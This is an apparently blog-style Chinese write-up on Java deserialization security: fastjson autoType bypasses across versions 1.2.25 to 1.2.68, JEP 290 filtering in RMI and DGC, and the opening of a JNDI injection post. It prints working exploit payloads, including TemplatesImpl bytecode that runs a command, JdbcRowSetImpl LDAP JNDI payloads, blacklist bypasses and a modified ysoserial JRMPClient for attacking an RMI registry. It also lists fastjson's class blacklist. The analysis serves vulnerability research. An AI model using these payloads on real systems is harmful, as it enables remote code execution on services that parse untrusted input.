Base64.getEncoder().encodeToString(code); String text1 = "{ " + " \\"@type\\": \\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\\", " + " \\"_bytecodes\\": [\\"" + base64Code + "\\"], " + " \\"_name\\": \\"miaoji\\", " + " \\"_tfactory\\": {}, " + " \\"_outputProperties\\": {}, " + "}"; System.out.println(text1); JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField); // JSON.parse(text1, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } }} 这里我为 _bytecodes 传入的是一个 base64 编码的字节码,如果 JSON 中包含 Base64 编码的字符串,并且将它反序列化为 byte[] 类型的字段时,Fastjson 会自动尝试将该 Base64 字符串转换为字节数组。其中对应的解码操作在 JSONScanner#bytesValue() 中: 调用堆栈如下: Eval.class 是 Eval 类编译后生成的字节码文件,Eval 类内容如下: 123456789101112131415161718192021222324252627package pojo;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Eval extends AbstractTranslet { public Eval() { } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { throw new RuntimeException(var1); } }} JdbcRowSetImpl 利用链com.sun.rowset.JdbcRowSetImpl 这条利用链是由于 javax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。 setAutoCommit,这是一个 setter 方法,调用了 connect 方法: 跟进 connect 方法: 这里会调用 lookup 方法进行 Jndi 远程调用。 getDataSourceName(): 所以只需要将 dataSource 设置成 JNDI 服务端地址就行。 调用链如下: 123JdbcRowSetImpl#setAutoCommit(boolean)JdbcRowSetImpl#connect()InitialContext#lookup(String) 测试用例: 12345678910111213import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;public class JdbcRowSetImplTest { public static void main(String[] args) { String json = "{ " + " \\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\", " + " \\"dataSourceName\\":\\"ldap://127.0.0.1:10389/Command\\", " + " \\"autoCommit\\":true " + "}"; JSONObject jsonObject = JSON.parseObject(json); }} fastjson 1.2.25影响版本:1.2.25 <= fastjson <= 1.2.42 fastjson 1.2.25 引入了 checkAutoType 安全机制,采用黑白名单校验类是否可加载。默认情况下 autoTypeSupport 关闭,基于白名单实现安全机制,而打开 autoTypeSupport 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。 checkAutoType 安全机制将依赖版本升级到 1.2.25 之后,再运行上面的 TemplatesImpl 链,会报错: 根据报错信息找到了 ParserConfig#checkAutoType(String, Class<?>),在看这个方法之前,先说一下 ParserConfig 新增的一些属性: autoTypeSupport 是新增的一个标志位,denyList 是黑名单,acceptList 是白名单。 黑名单中包含如下类: 1234567891011121314151617181920bshcom.mchangecom.sun.java.lang.Thread,java.net.Socketjava.rmi,javax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework 接着来看 ParserConfig#checkAutoType(String, Class<?>),这个方法最主要的是几个 if 判断,反复使用黑白名单来验证。 $ 替换为 .,处理嵌套类;如果 autoTypeSupport 为 true ,那么先用白名单检查,再用黑名单检查,白名单检查通过的话可以直接加载类,而黑名单不会: 运行上面的 TemplateImplTest 代码时,这里的 expectClass 初始值为 null 。 如果 autoTypeSupport 为 false 的话,则先检查黑名单,再检查白名单。同样的是黑名单检查通过后也不能加载类: 如果上面的检查都通过了但是没有加载类的话,再检查一次 autoTypeSupport 是否为 true ,如果是就加载类。这是这个方法中最后一次加载类的地方了,也就是说如果 autoTypeSupport 为 false 的话,是不会加载任何类的。而 autoTypeSupport 默认为 false : 最后会检查加载的类是否是 ClassLoader 或 DataSource 的子类,这里是不允许加载它们的: 绕过方法在上面加载类的时候会调用 TypeUtils.loadClass 方法,跟进看一下: 这其中的处理逻辑是这样的: 如果 classname 以 [ 开头,就去掉第一个字符 [ ,然后返回对应的数组类。这是因为在 Java 中,数组类型的类与普通类不同,它们有独特的类名表示方式。对于一维数组,类名以 [ 开头,例如 int[] 对应的类名是 [I,对象数组如 String[] 对应的类名是 [Ljava.lang.String;。这里的代码就是处理这种数组类型的加载。 如果 className 以 L 开头并以 ; 结尾,那么去掉头尾再加载。在字节码和序列化中,对象类型可能会被表示为 L类名; 的形式。例如 java.lang.String 可能被表示为 Ljava/lang/String;。本来是用于处理这种格式的类名,这样看来倒算是一种逻辑漏洞了。 这里先利用第二种机制,只需要在类名开头加上 L ,结尾加上 ; 就可以了。 payload 如下: 12345{ "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:10389/Command8", "autoCommit":true} 此外需要将 autoTypeSupport 设置为 true ,有两种办法。 第一种是全局设置: 1ParserConfig.getGlobalInstance().setAutoTypeSupport(true) 第二种是为指定的类设置: 1ParserConfig.getGlobalInstance().addAccept("com.example.YourClass") fastjson 1.2.42影响版本:1.2.25 <= fastjson <= 1.2.42 依然是关注 ParserConfig 这个类,主要有两个方面的改动,第一个就是黑名单采用 hash 的方式来表示类,不再是之前的明文了: 似乎是 FNV-1a 哈希算法(Fowler-Noll-Vo 哈希算法)的一种变体。hash 算法是不可逆的,无法还原出明文,但是可以通过 jackson 中的黑名单来撞库呢。 另一方面就是针对 checkAutoType 的改动,在做其他处理之前,首先针对以 L 开头并以 ; 结尾的 className 做了处理,去掉了开头和结尾: 这里也是采用了 hash 的方式进行了判断,虽然无法从代码直接看出想过滤什么字符,但是结合上个版本的问题也能猜出来。 此外,在原本判断黑白名单的地方也用 hash 的方式做了改动。作者这么做,想必是为了展示他深厚的功底,可以把相同的事物用不同的方式表达出来吧? 绕过方式也很容易想到,就是双写开头的 L 和结尾的 ; 。 payload: 12345{ "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"ldap://127.0.0.1:10389/Command8", "autoCommit":true} fastjson 1.2.43影响版本:1.2.25 <= fastjson <= 1.2.43 改动依然是在 ParserConfig#checkAutoType(String, Class<?>, int) ,如果开头出现了连续两个 L ,那么会抛出异常: 这样双写绕过的方式就失效了。不过前面提到了 TypeUtils.loadClass 方法有两种处理机制,现在来研究一下第一种,就是类名前加个 [ ,那么我给出一个测试用例: 1234567891011121314151617181920212223242526272829303132333435package fastjson1_2_43;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class TemplateImplTest { public static void main(String args[]) { try { // 开启 AutoTypeSupport ParserConfig.getGlobalInstance().setAutoTypeSupport(true); byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\FastjsonTest\\\\target\\\\classes\\\\pojo\\\\Eval.class")); String base64Code = Base64.getEncoder().encodeToString(code); String text1 = "{" + "\\"@type\\": \\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\\"," + "\\"_bytecodes\\": [\\"" + base64Code + "\\"]," + "\\"_name\\": \\"miaoji\\"," + "\\"_tfactory\\": {}," + "\\"_outputProperties\\": {}," + "}"; System.out.println(text1); JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField); // JSON.parse(text1, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } }} 运行后会报错: 报错信息显示:某个位置需要一个 [ ,但是却给了一个 , ,在 position 72 ,大概是第 72 个字符的意思。刚好是类名后面那个逗号,那就在这里加个 [ 。 报错位置在 DefaultJSONParser.parseArray : 加上 [ 后再次运行,还是报错: position 73 需要一个 { ,就是前面加上的 [ 后面一个的位置,就再把它加上,这次运行成功了。 payload 就长这个样子: 1234567{ "@type": "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{, "_bytecodes": [base64Code], "_name": "miaoji", "_tfactory": {}, "_outputProperties": {},} fastjson 1.2.44影响版本:1.2.25 <= fastjson <= 1.2.44 fastjson 1.2.44 版本不但修复了上个版本 [ 开头导致的绕过问题,而且只要是 [ 开头,或是以 L 开头 ; 结尾,会直接抛出异常,而不是像之前那样简单的过滤了: 从代码逻辑上看,第一个 if 判断是否以 [ 开头,第二个 if 判断了是否以 L 开头并且以 ; 结尾。 这样的话就彻底杜绝了前面的几种绕过方式,果然是舍不得孩子套不着狼啊。 fastjson 1.2.45影响版本:1.2.25 <= fastjson <= 1.2.45 1.2.45 版本曝出了新的可绕过黑名单的类 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory ,这个类需要服务端有 mybatis 依赖 jar 包。 可以在我们的项目下手动添加一个: 12345<dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.13</version></dependency> payload 如下: 1234{ "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{"data_source":"ldap://127.0.0.1:10389/Command8"}} 事实上这个类也可以用来绕过前面所有版本的黑名单。 不过在 1.2.46 版本中被加入了黑名单: version hash hex-hash name 1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource fastjson 1.2.47影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport 以及 1.2.33 <= fastjson <= 1.2.47 。 ParserConfig 的 checkAutoType 方法中有一个机制其实在之前的版本中已经有了,只是我们在研究的时候选择性忽略了而已。而这个利用方式在 1.2.47 版本被曝出来。 这个特性就是如果在黑白名单中没有找到匹配的类,会尝试在 TypeUtils 的 mappings 属性和 deserializers 中查找,如果能找到的话可以直接返回: 在 autoTypeSupport 为 true 的情况下,会进入前面的判断机制,但就算这个类在黑名单中,只要 TypeUtils 的 mappings 属性中能找到这个类,也不会抛出异常: 如果 autoTypeSupport 为 false ,那就更是畅通无阻了。于是就给了我们利用空间。 接下来的问题就是如何将类加载进 TypeUtils.mappings 或者是 ParserConfig.deserializers 。 将类加载进 TypeUtils.mappings先来看 TypeUtils.mappings ,能将其赋值的方法有 addBaseClassMappings() ,loadClass(Stringe, ClassLoader, boolean)。 addBaseClassMappings() 中是对一些基本类型的赋值,没有什么操作空间: 那么看 TypeUtils#loadClass(Stringe, ClassLoader, boolean),可以看到,只要传入的 cache 不为空,就可以将传入的 className put 进 mappings 中: 在 TypeUtils 中,loadClass(Stringe, ClassLoader, boolean) 只有一处被调用,就是两个参数的重写方法 loadClass(String, ClassLoader ): 并且这里默认会将 cache 设置为 true 。 其实还有个一参重写方法调用了这个两参重写方法,但是它会将 classLoader 设置为空,而在三参重写方法中是要用到这个 classLoader 的,所以不考虑: 向上找两参的 loadClass 方法在哪被调用。 关注 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,如果方法传入的参数 clazz 为 Class.class ,那么会调用两参的 loadClass 方法: 这里传入的第一个参数是 strVal ,作为类名。往上看看 strVal 在哪被赋值: 显然是被 objVal 赋值,描述类名用字符串,我没意见。 再往前看 objVal ,如果 parser.resolveStatus 是 DefaultJSONParser.TypeNameRedirect 的话,就能给 objVal 赋值了: parser 也是传进来的参数,parser.parse() 这里面的调用链我就不分析了,简单总结一下: 1234DefaultJSONParser#parse()DefaultJSONParser#parse(Object)JSONScanner#stringVal()JSONScanner#subString(int, int) JSONScanner#subString(int, int): 从 test 中取子串,至于取子串的位置早就设定好了,其实取的是 json 字符串的键名为 val 所对应的值。但是为什么从一开始就这么设定好了呢,这就不得不提到 lexer 这个 JSONScanner 扫描器对象了。 JSONScanner 扫描器早在 JSON#parse 方法创建 DefaultJSONParser 对象的时候就创建了这个 JSONScanner 对象: 跟进去看构造方法: 注意这里的 input 就是我们最初传入的 json 字符串。在 JSONScanner 的构造方法中被赋值到 JSONScanner 对象的 test 属性中: 那么 test 的赋值搞清楚了。看 JSONScanner#stringVal() : 这其中代表起始地址与长度的 np、sp 又是在何处赋值呢? 其实是 lexer.nextToken() 方法在改变 np、sp 的值,也就是 JSONScanner 的父类 JSONLexerBase 的 nextToken() 方法。 nextToken 会将 JSON 中的键或值解析成独立的词法单元。例如,在解析 JSON 对象 {"name": "John", "age": 30} 时,nextToken 依次识别并解析以下词法单元: {:表示对象的开始,词法单元类型为 LBRACE "name":字符串类型的键,词法单元类型为 STRING ::表示键和值的分隔符,词法单元类型为 COLON "John":字符串类型的值,词法单元类型为 STRING ,:表示下一个键值对的开始,词法单元类型为 COMMA "age":字符串类型的键,词法单元类型为 STRING ::表示键和值的分隔符,词法单元类型为 COLON 30:数字类型的值,词法单元类型为 NUMBER }:表示对象的结束,词法单元类型为 RBRACE 当 nextToken 方法识别到一个词法单元后,词法分析器(lexer)将准备好为下一个 nextToken 调用解析下一个词法单元。 回过头看 MiscCodec#deserialze(DefaultJSONParser, Type, Object): 在做判断的时候判断当前词法单元是不是 “val” ,不是的话会抛出异常,是的话调用 nextToken ,假如 json 数据的格式是:{"val":"aaaaa"} 这样的形式,调用 nextToken 之后,当前的词法单元就是 : 了。 然后调用 parser.accept ,这里面其实也调用了 nextToken ,并且在调用之前会检查当前的词法单元是不是 : : 那么这个 nextToken 调用完之后,当前的词法单元就是 “val” 键对应的值了。所以 objVal 获取到的就是 val 键对应的值。 ParserConfig.deserializers 的初始化现在回到最初的那个问题:如何将类加载进 TypeUtils.mappings 或者是 ParserConfig.deserializers 。 接下来看看能否将类加载进 ParserConfig.deserializers 中,但是不能,deserializers 是 ParserConfig 的一个成员属性,定义的时候就初始化好了,并且只有在 ParserConfig#initDeserializers() 中才有添加的操作: 都是硬编码写好的,没有操作空间,所以不考虑。不过其中有一条,Class 类也在这个里面,这就意味着,如果反序列化的是 java.lang.Class 类,那么它能顺利通过 checkAutoType 的检测。 剩余利用链分析DefaultJSONParser#parseObject(final Map, Object) 方法在遇到 Class 这样的类时,会调用 MiscCodec 类来反序列化它们,并且前面还会设置好 resolveStatus 为 TypeNameRedirect ,这就满足了 MiscCodec#deserialze 中给 objVal 赋值的条件: DefaultJSONParser#parseObject(final Map, Object) 这个方法很有意思,遇到不同的类还会调用不同的类来处理它,比如遇到 Class 类调用 MiscCodec 类来反序列化,这应该就是在前面的 ParserConfig#initDeserializers() 中指定的。 payload这部分思路理清了之后,给出一个 payload : 1234567891011{ "object1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "object2": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:10389/Command8", "autoCommit": true }} 反序列化第一个类时,Class 能顺利通过 checkAutoType 的检查并返回,随后进入 MiscCodec#deserialze 中将 “com.sun.rowset.JdbcRowSetImpl” 字符串加载进 TypeUtils.mappings 。 反序列化第二个类的时候,由于 TypeUtils.mappings 中存在 “com.sun.rowset.JdbcRowSetImpl” ,即使黑名单匹配到了也不会抛出异常,并且能够成功返回。 漏洞修复1.2.48 版本对这种利用方式进行了修复,首先就是将 TypeUtils 的两参 loadClass 方法调用三参方法时的 cache 默认设置为 false : 这样就没有办法将类加载进 TypeUtils.mappings 了。 另一个更改的点就是 MiscCodec#deserialze(DefaultJSONParser, Type, Object) 直接调用 TypeUtils 的三参 loadClass 方法,并且将 cache 设置为 false : 最后一个点就是似乎将 java.lang.Class 类加入黑名单了,当我调试到 ParserConfig#checkAutoType 时,第一次进入就直接抛出异常: 大概是将 java.lang.Class 类加入黑名单了。 fastjson 1.2.68影响版本:fastjson <= 1.2.68 fastjson 1.2.68 版本在 ParserConfig 中新增了一个 safeMode 安全机制。在其 checkAutoType 方法中: 只要当前开启了安全模式 safeMode ,那么就会直接抛出异常,任何类都不能通过检查,那么就不能反序列化任何类。 另外,在 1.2.68 版本出现了一种新的绕过方式,利用点在 checkAutoType 方法的这个位置,如果能构造一个符合条件的 expectClass ,即要反序列化的类是传入的 expectClass 的子类,那么就能通过 checkAutoType 的检查: 当然这是在 safeMode 关闭的前提下才能利用。其实这个点在过往的版本中也都有,只是利用方式在 1.2.68 版本才发现而已。 expectClass 是三参 checkAutoType 方法的参数: 找一找哪里调用了这个三参 checkAutoType 方法并且将 expectClass 赋值了。 抛开将 expectClass 设置为 null 的情况,可以找到: JavaBeanDeserializer#deserialzeArrayMapping JavaBeanDeserializer#deserialze ThrowableDeserializer#deserialze 另外,两参 checkAutoType 也调用了三参 checkAutoType ,但是 expectClass 依然是传入的,而且两参 checkAutoType 被调用的点 expectClass 都是被设置为 null ,所以没有利用价值: ThrowableDeserializer#deserialze调用点在这里: 它会将 @type 对应的值传入第一个参数,Throwable.class 作为 expectClass 的值: 也就是说 @type 对应的类是 Throwable 的子类的话,通过 checkAutoType 的检查。 然后调用 createException 方法创建异常类: 跟进 ThrowableDeserializer#createException(String, Throwable, Class<?>),最后在这里实例化: 那么核心点就在于找一个 Throwable 的子类,它的 getter/setter/static block/constructor 中有可利用的点,或者其他地方有可利用的链。从这个版本开始,再想要 RCE 就比较难了,大部分情况下考虑对文件的操作以及 SSRF 之类,而且可利用的链通常需要很多依赖。这个就留待后续说明吧。","categories":["Java 安全"]},{"title":"漏洞篇 - 关于 JEP 290","path":"/2024/09/08/Java 安全/漏洞篇-关于JEP290/","content":"JEP 290JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。 JEP 290 主要提供了以下几个机制: 用黑白名单的方式限制可反序列化的类; 限制反序列化的调用深度和复杂度; 为 RMI export 的对象设置了验证机制; 提供一个全局过滤器,可以在 properties 或配置文件中进行配置; 现在使用 JDK 8u392 ,再次运行 ysoserial 中的 payloads/JRMPListener 和 exploit/JRMPClient ,会爆出如下错误: 这在我之前的分析文章中也提到过,是由于 JEP 290 机制阻止了我反序列化 HashSet 类。 从报错信息中,可以发现一个 ObjectInputFilter 接口,其中定义了三种状态,分别是未定义、接受和拒绝: 另外从报错信息中发现 ObjectInputStream 有一个 filterCheck 方法,这个方法与反序列化的检查相关: 1234567891011121314151617181920212223242526272829303132333435363738private void filterCheck(Class<?> clazz, int arrayLength) throws InvalidClassException { if (serialFilter != null) { RuntimeException ex = null; ObjectInputFilter.Status status; // Info about the stream is not available if overridden by subclass, return 0 long bytesRead = (bin == null) ? 0 : bin.getBytesRead(); try { status = serialFilter.checkInput(new FilterValues(clazz, arrayLength, totalObjectRefs, depth, bytesRead)); } catch (RuntimeException e) { // Preventive interception of an exception to log status = ObjectInputFilter.Status.REJECTED; ex = e; } if (status == null || status == ObjectInputFilter.Status.REJECTED) { // Debug logging of filter checks that fail if (Logging.infoLogger != null) { Logging.infoLogger.info( "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}", status, clazz, arrayLength, totalObjectRefs, depth, bytesRead, Objects.toString(ex, "n/a")); } InvalidClassException ice = new InvalidClassException("filter status: " + status); ice.initCause(ex); throw ice; } else { // Trace logging for those that succeed if (Logging.traceLogger != null) { Logging.traceLogger.finer( "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}", status, clazz, arrayLength, totalObjectRefs, depth, bytesRead, Objects.toString(ex, "n/a")); } } }} 对于 DGC 的影响具体体现在为 DGCImpl 新增了一个 checkInput 方法: 1234567891011121314151617181920212223242526272829303132333435private static ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo filterInfo) { if (dgcFilter != null) { ObjectInputFilter.Status status = dgcFilter.checkInput(filterInfo); if (status != ObjectInputFilter.Status.UNDECIDED) { // The DGC filter can override the built-in white-list return status; } } if (filterInfo.depth() > DGC_MAX_DEPTH) { return ObjectInputFilter.Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null) { while (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGC_MAX_ARRAY_SIZE) { return ObjectInputFilter.Status.REJECTED; } // Arrays are allowed depending on the component type clazz = clazz.getComponentType(); } if (clazz.isPrimitive()) { // Arrays of primitives are allowed return ObjectInputFilter.Status.ALLOWED; } return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; } // Not a class, not size limited return ObjectInputFilter.Status.UNDECIDED;} 如果定义了外部过滤器 dgcFilter,首先调用它进行判断。外部过滤器的优先级更高。 使用 DGC_MAX_DEPTH 和 DGC_MAX_ARRAY_SIZE 来限制深度和数组大小。 只有白名单类( ObjID,UID,VMID,Lease )允许被反序列化。 在 JDK 8u392 版本中,当我们尝试用 exploit/JRMPClient 攻击一个 RMI 服务端时,服务端的处理逻辑如下: 12345TCPTransport#handleMessages(Connection, boolean)Transport#serviceCall(RemoteCall)UnicastServerRef#dispatch(Remote, RemoteCall)UnicastServerRef#oldDispatch(Remote, RemoteCall, int)DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long) 然后会在这里调用 ObjectInputStream 的 readObject 方法: 跟进 ObjectInputStream#readObject() : 跟进 ObjectInputStream#readObject(Class<?>): 这里会调用 readObject0 方法。 跟进 ObjectInputStream#readObject0(Class<?>, boolean), readObject0 是一个用于反序列化 Java 对象的内部方法。它负责从输入流中读取不同类型的对象数据,并根据特定的标记(type codes)进行相应的处理和反序列化操作。当读取到的 type code 为 TC_OBJECT(表示普通对象)时,会进行如下操作: 跟进 ObjectInputStream#readOrdinaryObject(boolean),这个方法用于读取并返回普通对象: 跟进 ObjectInputStream#readClassDesc(boolean) ,这个方法用于返回一个类描述符: 进入非动态代理类的情况,调用 readNonProxyDesc 来获取类描述符。 跟进 ObjectInputStream#readNonProxyDesc(boolean) ,经过了一系列操作后,调用了 filterCheck 方法,就是我们一开始提到的那个: 跟进 ObjectInputStream#filterCheck(Class<?>, int) : 在这里调用 serialFilter.checkInput ,也就是 DGCImpl 的 checkInput 方法,完成闭环。 调用链总结服务端处理的调用链如下: 123456789DGCImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)ObjectInputStream#readObject()ObjectInputStream#readObject(Class<?>)ObjectInputStream#readObject0(Class<?>, boolean)ObjectInputStream#readOrdinaryObject(boolean)ObjectInputStream#readClassDesc(boolean) ObjectInputStream#readNonProxyDesc(boolean)ObjectInputStream#filterCheck(Class<?>, int)DGCImpl#checkInput(ObjectInputFilter.FilterInfo) 对于 RMI 的影响具体体现在为 RegistryImpl 类添加了一个 registryFilter 方法: 123456789101112131415161718192021222324252627282930313233343536private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo filterInfo) { if (registryFilter != null) { ObjectInputFilter.Status status = registryFilter.checkInput(filterInfo); if (status != ObjectInputFilter.Status.UNDECIDED) { // The Registry filter can override the built-in white-list return status; } } if (filterInfo.depth() > REGISTRY_MAX_DEPTH) { return ObjectInputFilter.Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null) { if (clazz.isArray()) { // Arrays are REJECTED only if they exceed the limit return (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > REGISTRY_MAX_ARRAY_SIZE) ? ObjectInputFilter.Status.REJECTED : ObjectInputFilter.Status.UNDECIDED; } if (String.class == clazz || java.lang.Number.class.isAssignableFrom(clazz) || Remote.class.isAssignableFrom(clazz) || java.lang.reflect.Proxy.class.isAssignableFrom(clazz) || UnicastRef.class.isAssignableFrom(clazz) || RMIClientSocketFactory.class.isAssignableFrom(clazz) || RMIServerSocketFactory.class.isAssignableFrom(clazz) || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz) || java.rmi.server.UID.class.isAssignableFrom(clazz)) { return ObjectInputFilter.Status.ALLOWED; } else { return ObjectInputFilter.Status.REJECTED; } } return ObjectInputFilter.Status.UNDECIDED;} 如果存在一个全局的 registryFilter,那么会调用它的 checkInput 方法来检查是否允许反序列化当前对象。外部的 registryFilter 拥有高优先级,它可以覆盖接下来定义的内置白名单规则。 使用 REGISTRY_MAX_DEPTH 和 REGISTRY_MAX_ARRAY_SIZE 来限制深度和数组大小。 以及定义了一个明确的白名单,,如果反序列化对象的类型属于这个白名单中的类,则允许反序列化(ALLOWED)。 其调用链与 DGC 相似,只不过是在 RegistryImpl_Skel 的 dispatch 方法触发。不过值得注意的是,这个方法只对 bind 和 rebind 的处理逻辑有反序列化的操作。 bind 的处理逻辑: rebind 的处理逻辑: 而对其他方法比如 list、lookup、unbind 的处理逻辑则是没有调用 readObject 方法的。也就是说这个新增的机制只影响 Server 端对 Registry 端的攻击,对其他的攻击没有影响。具体来说,就是只影响 bind 和 rebind 方法的结果。之前提到的针对 Server 端和 Client 端的攻击依然可行。 调用链总结还是总结一下 Registry 端的处理逻辑: 123456789RegistryImpl_Skel#dispatch(java.rmi.Remote, java.rmi.server.RemoteCall, int, long)ObjectInputStream#readObject()ObjectInputStream#readObject(Class<?>)ObjectInputStream#readObject0(Class<?>, boolean)ObjectInputStream#readOrdinaryObject(boolean)ObjectInputStream#readClassDesc(boolean)ObjectInputStream#readProxyDesc(boolean)ObjectInputStream#filterCheck(Class<?>, int)RegistryImpl#registryFilter(ObjectInputFilter.FilterInfo) 除了中间调用的是 readProxyDesc 而不是 readNonProxyDesc 以外,跟 DGC 服务端的处理逻辑大差不差。 绕过分析在白名单操作之后,Server 端想要向 Registry 端直接绑定一个 CC 链之类的恶意对象就不行了,但是之前提到的 RemoteObject + UnicastRef 还是可以用的。ysoserial 中的 exploit/JRMPListener 和 payloads/JRMPClient 就是对这一块的实现。 JDK 8u202 环境下,如果存在一个 Registry 端: 1Registry registry = LocateRegistry.createRegistry(1099); 那么就可以针对它展开攻击: 首先开启 exploit/JRMPListener 服务端,它的作用是当收到 DGC 请求时会返回 BadAttributeValueExpException 异常类,与 CC 有关的 payload 就被放置在这个异常类当中。 然后我们可以向 Registry 端 bind 一个 UnicastRef 对象,这个对象在白名单之中,它被反序列化时,会向其中指定的地址发起 DGC 调用请求。但是由于绑定的对象必须要继承 Remote 接口,所以利用 RemoteObjectInvocationHandler 为这个 UnicastRef 对象创建一个 Registry 代理类,Registry 继承了 Remote ,所以这个代理类可以被顺利绑定。 于是 Registry 端收到 exploit/JRMPListener 发来的异常,造成反序列化攻击。 修改后的 payloads/JRMPClient 用来实现第二步: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455package ysoserial.payloads;import java.lang.reflect.Proxy;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;@SuppressWarnings ( { "restriction"} )@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")@Authors({ Authors.MBECHLER })public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> { public Registry getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { JRMPClient jrmpClient = new JRMPClient(); // exploit/JRMPListener 开启监听的端口是 7777 Registry proxy = jrmpClient.getObject("127.0.0.1:7777"); Registry reg = LocateRegistry.getRegistry("localhost",1099); reg.rebind("hello", proxy); }} 运行 Registry 端,运行 exploit/JRMPListener ,最后运行 payloads/JRMPClient ,就可以完成对 Registry 端的攻击。 会一直弹出计算器,是因为 Registry 端不断地在向 exploit/JRMPListener 发起 DGC 调用请求,不断地收到异常类: 不过值得注意的是,上面的代码在更高一点的版本比如 8u392 就运行不成功,看来是过滤的更严格了: 参考文章浅谈 JEP290 Java RMI 攻击由浅入深 RMI:绕过 JEP290 —— 上 RMI:绕过 JEP290 —— 中","categories":["Java 安全"]},{"title":"漏洞篇 - JNDI 注入详解","path":"/2024/09/06/Java 安全/漏洞篇-JNDI注入详解/","content":"JNDI 基础JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。JNDI 提供了一种统一的接口来访问不同的命名和目录服务。它被广泛应用于企业级 Java 应用程序中,用于查找和访问各种资源,如数据库连接、EJB(Enterprise JavaBeans)组件、消息队列、环境变量等。 那么提到命名和目录服务,就有一些名词需要了解一下。 命名服务(Naming Service)所谓命名服务,就是通过名称查找实际对象的服务。比如: DNS:通过域名查找实际的 IP 地址; 文件系统:通过文件名定位到具体的文件; 在命名服务中有一些重要的概念: Bindings:表示一个名称和对应对象的绑定关系。 Context:上下文,它是一个容器,代表了一个命名空间或环境,用户可以在其中查找、绑定和管理名字与对象之间的关联。 References:引用,它用于表示某个名字所对应的对象的“指针”或“引用路径”。通过引用,命名服务能够提供对对象的间接访问,而不是直接返回对象本身。 目录服务(Directory Service)目录服务(Directory 